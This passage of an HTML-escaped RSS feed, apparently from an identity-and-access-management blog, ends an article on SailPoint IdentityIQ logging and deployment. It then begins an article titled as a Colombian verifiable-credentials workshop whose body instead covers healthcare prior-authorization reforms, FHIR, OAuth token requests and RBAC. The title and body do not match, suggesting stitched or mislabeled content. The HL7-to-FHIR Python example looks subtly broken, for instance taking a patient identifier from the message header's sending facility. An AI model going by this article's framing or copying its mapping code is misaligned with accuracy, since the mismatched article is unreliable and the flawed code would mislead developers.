&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; warn                                &lt;span class="c"&gt;# show recent warnings&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;checkout&lt;/code&gt; plus &lt;code&gt;import&lt;/code&gt; is the migration path between environments. Export from dev, commit the XML to version control, import into test.&lt;/p&gt;

&lt;h2&gt;
  
  
  Logging and Debugging
&lt;/h2&gt;

&lt;p&gt;Configure logging in &lt;code&gt;IdentityIQ_HOME/WEB-INF/classes/log4j2.properties&lt;/code&gt;. IdentityIQ picks up changes to this file automatically within roughly 60 seconds — &lt;strong&gt;no application restart required&lt;/strong&gt;, which is the single biggest time-saver in IdentityIQ debugging.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight properties"&gt;&lt;code&gt;&lt;span class="c"&gt;# Namespace your rule logging so you can raise it without drowning in output
&lt;/span&gt;&lt;span class="py"&gt;logger.customrules.name&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s"&gt;com.example.iiq&lt;/span&gt;
&lt;span class="py"&gt;logger.customrules.level&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s"&gt;debug&lt;/span&gt;

&lt;span class="c"&gt;# Useful built-in loggers
&lt;/span&gt;&lt;span class="py"&gt;logger.connector.name&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s"&gt;sailpoint.connector&lt;/span&gt;
&lt;span class="py"&gt;logger.connector.level&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s"&gt;debug&lt;/span&gt;

&lt;span class="py"&gt;logger.workflow.name&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s"&gt;sailpoint.workflow&lt;/span&gt;
&lt;span class="py"&gt;logger.workflow.level&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s"&gt;debug&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Inside a rule:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight java"&gt;&lt;code&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;org.apache.log4j.Logger&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;

&lt;span class="nc"&gt;Logger&lt;/span&gt; &lt;span class="n"&gt;log&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nc"&gt;Logger&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getLogger&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"com.example.iiq.correlation"&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
&lt;span class="n"&gt;log&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;debug&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"Correlating account: "&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;account&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getNativeIdentity&lt;/span&gt;&lt;span class="o"&gt;());&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Never use &lt;code&gt;System.out.println()&lt;/code&gt; in production rules. It writes to the container log with no level control, no namespace, and no way to disable it without a code change and restart.&lt;/p&gt;

&lt;h2&gt;
  
  
  Deployment Practices That Prevent Outages
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;Version-control the XML, not the database.&lt;/strong&gt; IdentityIQ objects live in the database, which makes them invisible to Git by default. Export every custom rule, workflow, and task definition with &lt;code&gt;checkout&lt;/code&gt; and commit the XML. Without this, a database refresh silently destroys work.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Never edit rules in production through the UI.&lt;/strong&gt; The debug pages allow direct object editing, which creates changes that exist in exactly one environment and are lost on the next deployment.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Test correlation rules against real edge cases&lt;/strong&gt; — accounts with null employee IDs, duplicate IDs, service accounts that should match nothing. A correlation rule that throws an exception aborts the entire aggregation run, not just the one account.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Keep rules short.&lt;/strong&gt; A rule doing substantial work belongs in a compiled Java class in &lt;code&gt;WEB-INF/lib/&lt;/code&gt;, called from a thin BeanShell wrapper. You get compile-time type checking, real unit tests, and a debugger.&lt;/p&gt;

&lt;h2&gt;
  
  
  Where This Fits in Broader Identity Governance
&lt;/h2&gt;

&lt;p&gt;Rules, workflows, and tasks are the mechanics. What you build with them is governance — access certification, joiner-mover-leaver automation, separation-of-duties enforcement. For the strategic layer above this code, see our guide to &lt;a href="https://dev.to/posts/identity-governance-in-the-zero-trust-era-achieving-dynamic-privileged-access-management-with-cyberark-and-sailpoint/"&gt;identity governance in the Zero Trust era&lt;/a&gt;, and for where the platform is heading, &lt;a href="https://dev.to/posts/sailpoint-extends-identity-governance-to-ai-agents-techinformed/"&gt;SailPoint's extension of governance to AI agents&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;The infrastructure underneath — the Java runtime, the MySQL schema your queries hit, and the shell scripts that automate deployment — is covered in the companion article on &lt;a href="https://dev.to/posts/sailpoint-identityiq-java-mysql-shell-scripting-guide/"&gt;Java, MySQL, and shell scripting for SailPoint IdentityIQ&lt;/a&gt;.&lt;/p&gt;

</description>
      <category>sailpoint</category>
      <category>identityiq</category>
      <category>iam</category>
      <category>identitygovernance</category>
    </item>
    <item>
      <title>Colombia Advances Public Sector Tech with Verifiable Credentials Workshop</title>
      <dc:creator>IAMDevBox</dc:creator>
      <pubDate>Wed, 19 Aug 2026 14:39:57 +0000</pubDate>
      <link>https://dev.to/iamdevbox/colombia-advances-public-sector-tech-with-verifiable-credentials-workshop-2jim</link>
      <guid>https://dev.to/iamdevbox/colombia-advances-public-sector-tech-with-verifiable-credentials-workshop-2jim</guid>
      <description>&lt;h2&gt;
  
  
  Why This Matters Now
&lt;/h2&gt;

&lt;p&gt;The healthcare industry is undergoing significant transformation, particularly in the area of prior authorization (PA). Recent reforms by payers aim to streamline PA processes, reduce administrative overhead, and improve patient access to necessary treatments. However, these changes have sparked skepticism among providers, who fear increased complexity and potential disruptions. As an IAM engineer, understanding these reforms is crucial for ensuring secure and efficient data exchange in the healthcare ecosystem.&lt;/p&gt;

&lt;h2&gt;
  
  
  Understanding Prior Authorization Reforms
&lt;/h2&gt;

&lt;h3&gt;
  
  
  Background
&lt;/h3&gt;

&lt;p&gt;Prior authorization has long been a cumbersome process in healthcare, involving multiple steps and manual interventions. Providers must submit detailed documentation to payers, who then review and approve or deny requests. This process can take days or even weeks, delaying patient care and increasing administrative costs.&lt;/p&gt;

&lt;h3&gt;
  
  
  Recent Reforms
&lt;/h3&gt;

&lt;p&gt;In response to these challenges, several payers have implemented or announced reforms aimed at simplifying PA processes. These reforms often involve:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Digitization&lt;/strong&gt;: Moving from paper-based to digital systems for submitting and reviewing PA requests.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Standardization&lt;/strong&gt;: Adopting standardized data formats and protocols to facilitate seamless data exchange.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Automation&lt;/strong&gt;: Implementing automated workflows to reduce manual processing and speed up approvals.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Interoperability&lt;/strong&gt;: Enhancing interoperability between provider and payer systems to ensure real-time data sharing.&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  Timeline
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;2021&lt;/strong&gt;: Many payers began exploring digital PA solutions and piloting new processes.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;2022&lt;/strong&gt;: Several major payers launched full-scale digital PA initiatives.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;2023&lt;/strong&gt;: Ongoing implementation and expansion of these reforms, with increased focus on standardization and interoperability.&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  Impact on Providers
&lt;/h3&gt;

&lt;p&gt;Providers have mixed feelings about these reforms. While they recognize the potential benefits, such as faster approvals and reduced administrative burden, many are concerned about:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Technical Complexity&lt;/strong&gt;: The need to integrate new systems and comply with standardized protocols.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Data Security&lt;/strong&gt;: Ensuring the security and privacy of sensitive patient information during data exchange.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Operational Disruption&lt;/strong&gt;: Potential disruptions to existing workflows and staff training requirements.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  IAM Considerations for Prior Authorization Reforms
&lt;/h2&gt;

&lt;h3&gt;
  
  
  Secure Data Exchange
&lt;/h3&gt;

&lt;p&gt;One of the primary goals of PA reforms is to streamline data exchange between providers and payers. To achieve this securely, IAM solutions play a crucial role. Here are some key considerations:&lt;/p&gt;

&lt;h4&gt;
  
  
  Authentication and Authorization
&lt;/h4&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Multi-Factor Authentication (MFA)&lt;/strong&gt;: Implement MFA for accessing PA systems to prevent unauthorized access.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Role-Based Access Control (RBAC)&lt;/strong&gt;: Define roles and permissions based on job functions to ensure that only authorized personnel can access sensitive information.&lt;/li&gt;
&lt;/ul&gt;

&lt;h4&gt;
  
  
  Data Encryption
&lt;/h4&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Transport Layer Security (TLS)&lt;/strong&gt;: Use TLS to encrypt data transmitted between provider and payer systems.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Encryption at Rest&lt;/strong&gt;: Ensure that sensitive data is encrypted when stored in databases and other storage systems.&lt;/li&gt;
&lt;/ul&gt;

&lt;h4&gt;
  
  
  Auditing and Monitoring
&lt;/h4&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Audit Logs&lt;/strong&gt;: Maintain detailed audit logs of all access and activity within PA systems.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Real-Time Monitoring&lt;/strong&gt;: Implement real-time monitoring to detect and respond to suspicious activities promptly.&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  Standardized Data Formats
&lt;/h3&gt;

&lt;p&gt;Adopting standardized data formats is essential for seamless data exchange. The most commonly used standards in healthcare include:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;HL7&lt;/strong&gt;: Health Level Seven standards define messaging protocols for exchanging clinical and administrative data.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;FHIR&lt;/strong&gt;: Fast Healthcare Interoperability Resources provide a modern, flexible framework for exchanging healthcare data.&lt;/li&gt;
&lt;/ul&gt;

&lt;h4&gt;
  
  
  Example: Implementing FHIR
&lt;/h4&gt;

&lt;p&gt;Here's an example of how to implement FHIR for PA requests using OAuth 2.0 for authentication:&lt;/p&gt;

&lt;p&gt;{{&amp;lt; mermaid &amp;gt;}}&lt;br&gt;
graph LR&lt;br&gt;
    A[Provider System] --&amp;gt; B[Authorization Server]&lt;br&gt;
    B --&amp;gt; C{Valid?}&lt;br&gt;
    C --&amp;gt;|Yes| D[FHIR Server]&lt;br&gt;
    C --&amp;gt;|No| E[Error]&lt;br&gt;
    D --&amp;gt; F[PA Response]&lt;br&gt;
    F --&amp;gt; A&lt;br&gt;
{{&amp;lt; /mermaid &amp;gt;}}&lt;/p&gt;
&lt;h5&gt;
  
  
  Step-by-Step Guide
&lt;/h5&gt;



&lt;h4&gt;Register the Provider System&lt;/h4&gt;
Register the provider system with the authorization server to obtain client credentials.


&lt;h4&gt;Request an Access Token&lt;/h4&gt;
Use the client credentials to request an access token from the authorization server.


&lt;h4&gt;Submit PA Request&lt;/h4&gt;
Send the PA request to the FHIR server using the access token for authentication.


&lt;h4&gt;Receive PA Response&lt;/h4&gt;
Process the PA response received from the FHIR server.


&lt;h5&gt;
  
  
  Terminal Output
&lt;/h5&gt;



&lt;span&gt;&lt;/span&gt;
&lt;span&gt;&lt;/span&gt;
&lt;span&gt;&lt;/span&gt;
&lt;span&gt;Terminal&lt;/span&gt;



&lt;span&gt;$&lt;/span&gt; curl -X POST https://auth.example.com/token -d 'grant_type=client_credentials&amp;amp;client_id=provider123&amp;amp;client_secret=secret456'
&lt;span&gt;{"access_token": "eyJ...", "token_type": "Bearer", "expires_in": 3600}&lt;/span&gt;




&lt;h5&gt;
  
  
  Quick Reference
&lt;/h5&gt;


&lt;h4&gt;📋 Quick Reference&lt;/h4&gt;

- `curl -X POST https://auth.example.com/token` - Request an access token
- `curl -X POST https://fhir.example.com/PriorAuthorizationRequest` - Submit PA request

&lt;h3&gt;
  
  
  Interoperability Challenges
&lt;/h3&gt;

&lt;p&gt;Ensuring interoperability between provider and payer systems is critical for successful PA reforms. Common challenges include:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;System Compatibility&lt;/strong&gt;: Different systems may use different standards and protocols, requiring additional integration efforts.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Data Mapping&lt;/strong&gt;: Mapping data fields between different systems can be complex and time-consuming.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Performance Issues&lt;/strong&gt;: Real-time data exchange can lead to performance bottlenecks if not properly managed.&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;
  
  
  Example: Handling Data Mapping
&lt;/h4&gt;

&lt;p&gt;Here's an example of how to handle data mapping between provider and payer systems using HL7:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="c1"&gt;# Example Python code for mapping HL7 data to FHIR
&lt;/span&gt;
&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="n"&gt;fhir.resources.patient&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;Patient&lt;/span&gt;
&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="n"&gt;hl7apy.parser&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;parse_message&lt;/span&gt;

&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;map_hl7_to_fhir&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;hl7_message&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="c1"&gt;# Parse HL7 message
&lt;/span&gt;    &lt;span class="n"&gt;hl7_obj&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;parse_message&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;hl7_message&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

    &lt;span class="c1"&gt;# Create FHIR Patient resource
&lt;/span&gt;    &lt;span class="n"&gt;fhir_patient&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nc"&gt;Patient&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
    &lt;span class="n"&gt;fhir_patient&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;identifier&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[{&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;system&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;http://example.com/patient&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;value&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;hl7_obj&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;MSH&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;get_field&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;SendingFacility&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="n"&gt;value&lt;/span&gt;&lt;span class="p"&gt;}]&lt;/span&gt;
    &lt;span class="n"&gt;fhir_patient&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;name&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[{&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;family&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;hl7_obj&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;PID&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;get_field&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;LastName&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="n"&gt;value&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;given&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;hl7_obj&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;PID&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;get_field&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;FirstName&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="n"&gt;value&lt;/span&gt;&lt;span class="p"&gt;]}]&lt;/span&gt;
    &lt;span class="n"&gt;fhir_patient&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;telecom&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[{&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;system&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;phone&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;value&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;hl7_obj&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;PID&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;get_field&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;PhoneNumberHome&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="n"&gt;value&lt;/span&gt;&lt;span class="p"&gt;}]&lt;/span&gt;

    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;fhir_patient&lt;/span&gt;

&lt;span class="c1"&gt;# Example HL7 message
&lt;/span&gt;&lt;span class="n"&gt;hl7_message&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;MSH|^~&lt;/span&gt;&lt;span class="se"&gt;\\&lt;/span&gt;&lt;span class="s"&gt;&amp;amp;|SendingApp|SendingFacility|ReceivingApp|ReceivingFacility|202310151200||ADT^A01|12345|P|2.5.1&lt;/span&gt;&lt;span class="se"&gt;\r&lt;/span&gt;&lt;span class="s"&gt;PID||12345^^^SendingFacility&amp;amp;1.2.3.4.5.6.7.8.9.10.11.12.13.14.15.16|Doe^John^^^Mr.|John^Doe||19800101|M||Caucasian|123 Main St^^Anytown^NY^12345^USA||(555)555-5555&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;

&lt;span class="c1"&gt;# Map HL7 to FHIR
&lt;/span&gt;&lt;span class="n"&gt;fhir_patient&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;map_hl7_to_fhir&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;hl7_message&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;fhir_patient&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;json&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;indent&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h5&gt;
  
  
  Notice Box
&lt;/h5&gt;

&lt;p&gt;💜 &lt;strong&gt;Pro Tip:&lt;/strong&gt; Use libraries like &lt;code&gt;hl7apy&lt;/code&gt; and &lt;code&gt;fhir.resources&lt;/code&gt; to simplify data mapping between HL7 and FHIR.&lt;/p&gt;

&lt;h3&gt;
  
  
  Security Best Practices
&lt;/h3&gt;

&lt;p&gt;Implementing secure data exchange requires adherence to best practices:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Compliance&lt;/strong&gt;: Ensure compliance with relevant regulations such as HIPAA and GDPR.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Access Control&lt;/strong&gt;: Implement strict access controls to prevent unauthorized access to sensitive data.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Incident Response&lt;/strong&gt;: Develop and maintain an incident response plan to address data breaches and security incidents promptly.&lt;/li&gt;
&lt;/ul&gt;

&lt;h4&gt;
  
  
  Example: Implementing Access Control
&lt;/h4&gt;

&lt;p&gt;Here's an example of implementing RBAC using a hypothetical IAM solution:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"roles"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"name"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"ProviderAdmin"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"permissions"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s2"&gt;"submit_pa_request"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"view_pa_response"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"manage_users"&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"name"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"ProviderUser"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"permissions"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s2"&gt;"submit_pa_request"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"view_pa_response"&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"users"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"username"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"john.doe"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"role"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"ProviderUser"&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"username"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"jane.smith"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"role"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"ProviderAdmin"&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h5&gt;
  
  
  Notice Box
&lt;/h5&gt;

&lt;p&gt;⚠️ &lt;strong&gt;Warning:&lt;/strong&gt; Ensure that all users have the minimum necessary permissions to perform their duties.&lt;/p&gt;

&lt;h2&gt;
  
  
  Addressing Provider Concerns
&lt;/h2&gt;

&lt;h3&gt;
  
  
  Technical Support
&lt;/h3&gt;

&lt;p&gt;Providers need robust technical support to successfully implement PA reforms. Pay attention to:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Training Programs&lt;/strong&gt;: Offer comprehensive training programs to help providers understand and use new systems.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Documentation&lt;/strong&gt;: Provide clear and detailed documentation for system setup and usage.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Customer Support&lt;/strong&gt;: Establish dedicated customer support channels for troubleshooting and assistance.&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  Data Privacy
&lt;/h3&gt;

&lt;p&gt;Addressing data privacy concerns is crucial for gaining provider trust. Consider:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Data Minimization&lt;/strong&gt;: Collect only the data necessary for PA requests.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Anonymization&lt;/strong&gt;: Anonymize sensitive data when possible to protect patient privacy.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Transparency&lt;/strong&gt;: Be transparent about data usage and storage practices.&lt;/li&gt;
